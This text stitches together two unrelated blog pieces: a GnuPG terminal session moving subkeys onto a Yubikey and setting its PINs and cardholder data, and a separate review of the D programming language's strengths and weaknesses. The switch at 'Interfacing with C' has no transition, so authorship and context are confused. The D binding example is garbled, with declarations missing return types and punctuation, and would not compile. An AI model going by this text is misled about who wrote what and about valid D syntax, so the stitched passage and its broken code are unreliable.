$ gpg2 --homedir gpgtmp --card-edit Reader ...........: 1050:0116:X:0 Application ID ...: D2760001240102000006036457190000 Version ..........: 2.0 Manufacturer .....: Yubico Serial number ....: 03645719 Name of cardholder: [not set] Language prefs ...: [not set] Sex ..............: unspecified URL of public key : [not set] Login data .......: [not set] Signature PIN ....: forced Key attributes ...: rsa2048 rsa2048 rsa2048 Max. PIN lengths .: 127 127 127 PIN retry counter : 3 3 3 Signature counter : 0 Signature key ....: [none] Encryption key....: [none] Authentication key: [none] General key info..: [none] gpg/card> admin Admin commands are allowed gpg/card> passwd gpg: OpenPGP card no. D2760001240102000006036457190000 detected 1 - change PIN 2 - unblock PIN 3 - change Admin PIN 4 - set the Reset Code Q - quit Your selection? 3 PIN changed. 1 - change PIN 2 - unblock PIN 3 - change Admin PIN 4 - set the Reset Code Q - quit Your selection? 1 PIN changed. 1 - change PIN 2 - unblock PIN 3 - change Admin PIN 4 - set the Reset Code Q - quit Your selection? q gpg/card> quit |
gpg/card> name Cardholder's surname: Preining Cardholder's given name: Norbert gpg/card> sex Sex ((M)ale, (F)emale or space): M gpg/card> lang Language preferences: de gpg/card> login Login data (account name): norbert gpg/card> url URL to retrieve public key: https://www.preining.info/preining-norbert.asc gpg/card> list Reader ...........: 1050:0116:X:0 Application ID ...: D2760001240102000006036457190000 Version ..........: 2.0 Manufacturer .....: Yubico Serial number ....: 03645719 Name of cardholder: Norbert Preining Language prefs ...: de Sex ..............: male URL of public key : https://www.preining.info/preining-norbert.asc Login data .......: norbert Signature PIN ....: forced Key attributes ...: rsa2048 rsa2048 rsa2048 Max. PIN lengths .: 127 127 127 PIN retry counter : 3 3 3 Signature counter : 0 Signature key ....: [none] Encryption key....: [none] Authentication key: [none] General key info..: [none] gpg/card> quit |
$ gpg2 --edit-key $MASTERKEY
gpg (GnuPG) 2.1.11; Copyright (C) 2016 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Secret key is available.
sec rsa4096/0x6CACA448860CDC13
created: 2010-09-14 expires: 2017-02-06 usage: SC
trust: ultimate validity: ultimate
ssb rsa4096/0xD1D2BD14810F62B3
created: 2010-09-14 expires: 2017-02-06 usage: E
ssb rsa2048/0xEC00B8DAD32266AA
created: 2016-02-07 expires: 2017-02-06 usage: S
ssb rsa2048/0xBF361ED434425B4C
created: 2016-02-07 expires: 2017-02-06 usage: E
ssb rsa2048/0x9C7CA4E294F04D49
created: 2016-02-07 expires: 2017-02-06 usage: A
[ultimate] (1). Norbert Preining <norbert@preining.info>
[ultimate] (2) Norbert Preining <preining@logic.at>
[ultimate] (3) Norbert Preining <preining@debian.org>
[ultimate] (4) Norbert Preining <preining@jaist.ac.jp>
[ultimate] (5) [jpeg image of size 4185]
gpg> key 2
sec rsa4096/0x6CACA448860CDC13
created: 2010-09-14 expires: 2017-02-06 usage: SC
trust: ultimate validity: ultimate
ssb rsa4096/0xD1D2BD14810F62B3
created: 2010-09-14 expires: 2017-02-06 usage: E
ssb* rsa2048/0xEC00B8DAD32266AA
created: 2016-02-07 expires: 2017-02-06 usage: S
ssb rsa2048/0xBF361ED434425B4C
created: 2016-02-07 expires: 2017-02-06 usage: E
ssb rsa2048/0x9C7CA4E294F04D49
created: 2016-02-07 expires: 2017-02-06 usage: A
[ultimate] (1). Norbert Preining <norbert@preining.info>
[ultimate] (2) Norbert Preining <preining@logic.at>
[ultimate] (3) Norbert Preining <preining@debian.org>
[ultimate] (4) Norbert Preining <preining@jaist.ac.jp>
[ultimate] (5) [jpeg image of size 4185]
gpg> keytocard
Please select where to store the key:
(1) Signature key
(3) Authentication key
Your selection? 1
sec rsa4096/0x6CACA448860CDC13
created: 2010-09-14 expires: 2017-02-06 usage: SC
trust: ultimate validity: ultimate
ssb rsa4096/0xD1D2BD14810F62B3
created: 2010-09-14 expires: 2017-02-06 usage: E
ssb* rsa2048/0xEC00B8DAD32266AA
created: 2016-02-07 expires: 2017-02-06 usage: S
ssb rsa2048/0xBF361ED434425B4C
created: 2016-02-07 expires: 2017-02-06 usage: E
ssb rsa2048/0x9C7CA4E294F04D49
created: 2016-02-07 expires: 2017-02-06 usage: A
[ultimate] (1). Norbert Preining <norbert@preining.info>
[ultimate] (2) Norbert Preining <preining@logic.at>
[ultimate] (3) Norbert Preining <preining@debian.org>
[ultimate] (4) Norbert Preining <preining@jaist.ac.jp>
[ultimate] (5) [jpeg image of size 4185]
gpg> key 2
sec rsa4096/0x6CACA448860CDC13
created: 2010-09-14 expires: 2017-02-06 usage: SC
trust: ultimate validity: ultimate
ssb rsa4096/0xD1D2BD14810F62B3
created: 2010-09-14 expires: 2017-02-06 usage: E
ssb rsa2048/0xEC00B8DAD32266AA
created: 2016-02-07 expires: 2017-02-06 usage: S
ssb rsa2048/0xBF361ED434425B4C
created: 2016-02-07 expires: 2017-02-06 usage: E
ssb rsa2048/0x9C7CA4E294F04D49
created: 2016-02-07 expires: 2017-02-06 usage: A
[ultimate] (1). Norbert Preining <norbert@preining.info>
[ultimate] (2) Norbert Preining <preining@logic.at>
[ultimate] (3) Norbert Preining <preining@debian.org>
[ultimate] (4) Norbert Preining <preining@jaist.ac.jp>
[ultimate] (5) [jpeg image of size 4185]
gpg> key 3
sec rsa4096/0x6CACA448860CDC13
created: 2010-09-14 expires: 2017-02-06 usage: SC
trust: ultimate validity: ultimate
ssb rsa4096/0xD1D2BD14810F62B3
created: 2010-09-14 expires: 2017-02-06 usage: E
ssb rsa2048/0xEC00B8DAD32266AA
created: 2016-02-07 expires: 2017-02-06 usage: S
ssb* rsa2048/0xBF361ED434425B4C
created: 2016-02-07 expires: 2017-02-06 usage: E
ssb rsa2048/0x9C7CA4E294F04D49
created: 2016-02-07 expires: 2017-02-06 usage: A
[ultimate] (1). Norbert Preining <norbert@preining.info>
[ultimate] (2) Norbert Preining <preining@logic.at>
[ultimate] (3) Norbert Preining <preining@debian.org>
[ultimate] (4) Norbert Preining <preining@jaist.ac.jp>
[ultimate] (5) [jpeg image of size 4185]
gpg> keytocard
Please select where to store the key:
(2) Encryption key
Your selection? 2
sec rsa4096/0x6CACA448860CDC13
created: 2010-09-14 expires: 2017-02-06 usage: SC
trust: ultimate validity: ultimate
ssb rsa4096/0xD1D2BD14810F62B3
created: 2010-09-14 expires: 2017-02-06 usage: E
ssb rsa2048/0xEC00B8DAD32266AA
created: 2016-02-07 expires: 2017-02-06 usage: S
ssb* rsa2048/0xBF361ED434425B4C
created: 2016-02-07 expires: 2017-02-06 usage: E
ssb rsa2048/0x9C7CA4E294F04D49
created: 2016-02-07 expires: 2017-02-06 usage: A
[ultimate] (1). Norbert Preining <norbert@preining.info>
[ultimate] (2) Norbert Preining <preining@logic.at>
[ultimate] (3) Norbert Preining <preining@debian.org>
[ultimate] (4) Norbert Preining <preining@jaist.ac.jp>
[ultimate] (5) [jpeg image of size 4185]
gpg> key 3
sec rsa4096/0x6CACA448860CDC13
created: 2010-09-14 expires: 2017-02-06 usage: SC
trust: ultimate validity: ultimate
ssb rsa4096/0xD1D2BD14810F62B3
created: 2010-09-14 expires: 2017-02-06 usage: E
ssb rsa2048/0xEC00B8DAD32266AA
created: 2016-02-07 expires: 2017-02-06 usage: S
ssb rsa2048/0xBF361ED434425B4C
created: 2016-02-07 expires: 2017-02-06 usage: E
ssb rsa2048/0x9C7CA4E294F04D49
created: 2016-02-07 expires: 2017-02-06 usage: A
[ultimate] (1). Norbert Preining <norbert@preining.info>
[ultimate] (2) Norbert Preining <preining@logic.at>
[ultimate] (3) Norbert Preining <preining@debian.org>
[ultimate] (4) Norbert Preining <preining@jaist.ac.jp>
[ultimate] (5) [jpeg image of size 4185]
gpg> key 4
sec rsa4096/0x6CACA448860CDC13
created: 2010-09-14 expires: 2017-02-06 usage: SC
trust: ultimate validity: ultimate
ssb rsa4096/0xD1D2BD14810F62B3
created: 2010-09-14 expires: 2017-02-06 usage: E
ssb rsa2048/0xEC00B8DAD32266AA
created: 2016-02-07 expires: 2017-02-06 usage: S
ssb rsa2048/0xBF361ED434425B4C
created: 2016-02-07 expires: 2017-02-06 usage: E
ssb* rsa2048/0x9C7CA4E294F04D49
created: 2016-02-07 expires: 2017-02-06 usage: A
[ultimate] (1). Norbert Preining <norbert@preining.info>
[ultimate] (2) Norbert Preining <preining@logic.at>
[ultimate] (3) Norbert Preining <preining@debian.org>
[ultimate] (4) Norbert Preining <preining@jaist.ac.jp>
[ultimate] (5) [jpeg image of size 4185]
gpg> keytocard
Please select where to store the key:
(3) Authentication key
Your selection? 3
sec rsa4096/0x6CACA448860CDC13
created: 2010-09-14 expires: 2017-02-06 usage: SC
trust: ultimate validity: ultimate
ssb rsa4096/0xD1D2BD14810F62B3
created: 2010-09-14 expires: 2017-02-06 usage: E
ssb rsa2048/0xEC00B8DAD32266AA
created: 2016-02-07 expires: 2017-02-06 usage: S
ssb rsa2048/0xBF361ED434425B4C
created: 2016-02-07 expires: 2017-02-06 usage: E
ssb* rsa2048/0x9C7CA4E294F04D49
created: 2016-02-07 expires: 2017-02-06 usage: A
[ultimate] (1). Norbert Preining <norbert@preining.info>
[ultimate] (2) Norbert Preining <preining@logic.at>
[ultimate] (3) Norbert Preining <preining@debian.org>
[ultimate] (4) Norbert Preining <preining@jaist.ac.jp>
[ultimate] (5) [jpeg image of size 4185]
gpg> key 4
sec rsa4096/0x6CACA448860CDC13
created: 2010-09-14 expires: 2017-02-06 usage: SC
trust: ultimate validity: ultimate
ssb rsa4096/0xD1D2BD14810F62B3
created: 2010-09-14 expires: 2017-02-06 usage: E
ssb rsa2048/0xEC00B8DAD32266AA
created: 2016-02-07 expires: 2017-02-06 usage: S
ssb rsa2048/0xBF361ED434425B4C
created: 2016-02-07 expires: 2017-02-06 usage: E
ssb rsa2048/0x9C7CA4E294F04D49
created: 2016-02-07 expires: 2017-02-06 usage: A
[ultimate] (1). Norbert Preining <norbert@preining.info>
[ultimate] (2) Norbert Preining <preining@logic.at>
[ultimate] (3) Norbert Preining <preining@debian.org>
[ultimate] (4) Norbert Preining <preining@jaist.ac.jp>
[ultimate] (5) [jpeg image of size 4185]
gpg> save |
The other open question is what to use the other available slot of the Yubikey for? I thought about some passwords (possible), but I don t feel to happy about having my password issued with the press of a key.
But all in all, I like the setup much more than before and not having any GnuPG key on the laptop is a big plus.
Interfacing with C
There are multiple things which make D awesome, for example interfacing with C code and to a limited degree with C++ code is really easy. Also, working with functions from C in D feels natural. Take these C functions imported into D:extern(C): nothrow: struct _mystruct alias mystruct_p = _mystruct*; mystruct_p = mystruct_create (); mystruct_load_file (mystruct_p my, const(char) *filename); mystruct_free (mystruct_p my);You can call them from D code in two ways:
auto test = mystruct_create ();
// treating "test" as function parameter
mystruct_load_file (test, "/tmp/example");
// treating the function as member of "test"
test.mystruct_load_file ("/tmp/example");
test.mystruct_free ();This allows writing logically sane code, in case the C functions can really be considered member functions of the struct they are acting on. This property of the language is a general concept, so a function which takes a string as first parameter, can also be called like a member function of string.
Writing D bindings to existing C code is also really simple, and can even be automatized using tools like dstep. Since D can also easily export C functions, calling D code from C is also possible.
Getting rid of C++ cruft
There are many things which are bad in C++, some of which are inherited from C. D kills pretty much all of the stuff I found annoying. Some cool stuff from D is now in C++ as well, which makes this point a bit less strong, but it s still valid. E.g. getting rid of the #include preprocessor dance by using symbolic import statements makes sense, and there have IMHO been huge improvements over C++ when it comes to metaprogramming.
Incredibly powerful metaprogramming
Getting into detail about that would take way too long, but the metaprogramming abilities of D must be mentioned. You can do pretty much anything at compiletime, for example compiling regular expressions to make them run faster at runtime, or mixing in additional code from string constants. The template system is also very well thought out, and never caused me headaches as much as C++ sometimes manages to do.
Built-in unit-test support
Unittesting with D is really easy: You just add one or more unittest blocks to your code, in which you write your tests. When running the tests, the D compiler will collect the unittest blocks and build a test application out of them.
The unittest scope is useful, because you can keep the actual code and the tests close together, and it encourages writing tests and keep them up-to-date. Additionally, D has built-in support for contract programming, which helps to further reduce bugs by validating input/output.
Safe D
While D gives you the whole power of a low-level system programming language, it also allows you to write safer code and have the compiler check for that, while still being able to use unsafe functions when needed.
Unfortunately, @safe is not the default for functions though.
Separate operators for addition and concatenation
D exclusively uses the + operator for addition, while the ~ operator is used for concatenation. This is likely a personal quirk, but I love it very much that this distinction exists. It s nice for things like addition of two vectors vs. concatenation of vectors, and makes the whole language much more precise in its meaning.
Optional garbage collector
D has an optional garbage collector. Developing in D without GC is currently a bit cumbersome, but these issues are being addressed. If you can live with a GC though, having it active makes programming much easier.
Built-in documentation generator
This is almost granted for most new languages, but still something I want to mention: Ddoc is a standard tool to generate code documentation for D code, with a defined syntax for describing function parameters, classes, etc. It will even take the contents of a unittest scope to generate automatic examples for the usage of a function, which is pretty cool.
Scope blocks
The scope statement allows one to execute a bit of code before the function exists, when it failed or was successful. This is incredibly useful when working with C code, where a free statement needs to be issued when the function is exited, or some arbitrary cleanup needs to be performed on error. Yes, we do have smart pointers in C++ and with some GCC/Clang extensions a similar feature in C too. But the scopes concept in D is much more powerful. See Scope Guard Statement for details.
Built-in syntax for parallel programming
Working with threads is so much more fun in D compared to C! I recommend taking a look at the parallelism chapter of the Programming in D book.
Pure functions
D allows to mark functions as purely-functional, which allows the compiler to do optimizations on them, e.g. cache their return value. See pure-functions.
D is fast!
D matches the speed of C++ in almost all occasions, so you won t lose performance when writing D code that is, unless you have the GC run often in a threaded environment.
Very active and friendly community
The D community is very active and friendly so far I only had good experience, and I basically came into the community asking some tough questions regarding distro-integration and ABI stability of D. The D community is very enthusiastic about pushing D and especially the metaprogramming features of D to its limits, and consists of very knowledgeable people. Most discussion happens at the forums/newsgroups at forum.dlang.org.
What is bad about D?
Half-proprietary reference compiler
This is probably the biggest issue. Not because the proprietary compiler is bad per se, but because of the implications this has for the D ecosystem.
For the reference D compiler, Digital Mars D (DMD), only the frontend is distributed under a free license (Boost), while the backend is proprietary. The FLOSS frontend is what the free compilers, LLVM D Compiler (LDC) and GNU D Compiler (GDC) are based on. But since DMD is the reference compiler, most features land there first, and the Phobos standard library and druntime is tuned to work with DMD first.
Since major Linux distributions can t ship with DMD, and the free compilers GDC and LDC lack behind DMD in terms of language, runtime and standard-library compatibility, this creates a split world of code that compiles with LDC, GDC or DMD, but never with all D compilers due to it relying on features not yet in e.g. GDCs Phobos.
Especially for Linux distributions, there is no way to say use this compiler to get the best and latest D compatibility . Additionally, if people can t simply apt install latest-d, they are less likely to try the language. This is probably mainly an issue on Linux, but since Linux is the place where web applications are usually written and people are likely to try out new languages, it s really bad that the proprietary reference compiler is hurting D adoption in that way.
That being said, I want to make clear DMD is a great compiler, which is very fast and build efficient code. I only criticise the fact that it is the language reference compiler.
UPDATE: To clarify the half-proprietary nature of the compiler, let me quote the D FAQ:
The front end for the dmd D compiler is open source. The back end for dmd is licensed from Symantec, and is not compatible with open-source licenses such as the GPL. Nonetheless, the complete source comes with the compiler, and all development takes place publically on github. Compilers using the DMD front end and the GCC and LLVM open source backends are also available. The runtime library is completely open source using the Boost License 1.0. The gdc and ldc D compilers are completely open sourced.Phobos (standard library) is deprecating features too quickly This basically goes hand in hand with the compiler issue mentioned above. Each D compiler ships its own version of Phobos, which it was tested against. For GDC, which I used to compile my code due to LDC having bugs at that time, this means that it is shipping with a very outdated copy of Phobos. Due to the rapid evolution of Phobos, this meant that the documentation of Phobos and the actual code I was working with were not always in sync, leading to many frustrating experiences. Furthermore, Phobos is sometimes removing deprecated bits about a year after they have been deprecated. Together with the older-Phobos situation, you might find yourself in a place where a feature was dropped, but the cool replacement is not yet available. Or you are unable to import some 3rd-party code because it uses some deprecated-and-removed feature internally. Or you are unable to use other code, because it was developed with a D compiler shipping with a newer Phobos. This is really annoying, and probably the biggest source of unhappiness I had while working with D especially the documentation not matching the actual code is a bad experience for someone new to the language. Incomplete free compilers with varying degrees of maturity LDC and GDC have bugs, and for someone new to the language it s not clear which one to choose. Both LDC and GDC have their own issues at time, but they are rapidly getting better, and I only encountered some actual compiler bugs in LDC (GDC worked fine, but with an incredibly out-of-date Phobos). All issues are fixed meanwhile, but this was a frustrating experience. Some clear advice or explanation which of the free compilers is to prefer when you are new to D would be neat. For GDC in particular, being developed outside of the main GCC project is likely a problem, because distributors need to manually add it to their GCC packaging, instead of having it readily available. I assume this is due to the DRuntime/Phobos not being subjected to the FSF CLA, but I can t actually say anything substantial about this issue. Debian adds GDC to its GCC packaging, but e.g. Fedora does not do that. No ABI compatibility D has a defined ABI too bad that in reality, the compilers are not interoperable. A binary compiled with GDC can t call a library compiled with LDC or DMD. GDC actually doesn t even support building shared libraries yet. For distributions, this is quite terrible, because it means that there must be one default D compiler, without any exception, and that users also need to use that specific compiler to link against distribution-provided D libraries. The different runtimes per compiler complicate that problem further. The D package manager, dub, does not yet play well with distro packaging This is an issue that is important to me, since I want my software to be easily packageable by Linux distributions. The issues causing packaging to be hard are reported as dub issue #838 and issue #839, with quite positive feedback so far, so this might soon be solved. The GC is sometimes an issue The garbage collector in D is quite dated (according to their own docs) and is currently being reworked. While working with asgen, which is a program creating a large amount of interconnected data structures in a threaded environment, I realized that the GC is significantly slowing down the application when threads are used (it also seems to use UNIX signals
SIGUSR1 and SIGUSR2 to stop/resume threads, which I still find odd). Also, the GC performed poorly on memory pressure, which did get asgen killed by the OOM killer on some more memory-constrained machines. Triggering a manual collection run after a large amount of these interconnected data structures wasn t needed anymore solved this problem for most systems, but it would of course have been better to not needing to give the GC any hints. The stop-the-world behavior isn t a problem for asgen, but it might be for other applications.
These issues are at time being worked on, with a GSoC project laying the foundation for further GC improvements.
version is a reserved word
Okay, that is admittedly a very tiny nitpick, but when developing an app which works with packages and versions, it s slightly annoying. The version keyword is used for conditional compilation, and needing to abbreviate it to ver in all parts of the code sucks a little (e.g. the Package interface can t have a property version , but now has ver instead).
The ecosystem is not (yet) mature
In general it can be said that the D ecosystem, while existing for almost 9 years, is not yet that mature. There are various quirks you have to deal with when working with D code on Linux. It s always nothing major, usually you can easily solve these issues and go on, but it s annoying to have these papercuts.
This is not something which can be resolved by D itself, this point will solve itself as more people start to use D and D support in Linux distributions gets more polished.
Conclusion
I like to work with D, and I consider it to be a great language the quirks it has in its toolchain are not that bad to prevent writing great things with it.
At time, if I am not writing a shared library or something which uses much existing C++ code, I would prefer D for that task. If a garbage collector is a problem (e.g. for some real-time applications, or when the target architecture can t run a GC), I would not recommend to use D. Rust seems to be the much better choice then.
In any case, D s flat learning curve (for C/C++ people) paired with the smart choices taken in language design, the powerful metaprogramming, the rich standard library and helpful community makes it great to try out and to develop software for scenarios where you would otherwise choose C++ or Java. Quite honestly, I think D could be a great language for tasks where you would usually choose Python, Java or C++, and I am seriously considering to replace quite some Python code with D code. For very low-level stuff, C is IMHO still the better choice.
As always, choosing the right programming language is only 50% technical aspects, and 50% personal taste
UPDATE: To get some idea of D, check out the D tour on the new website tour.dlang.org.
Next.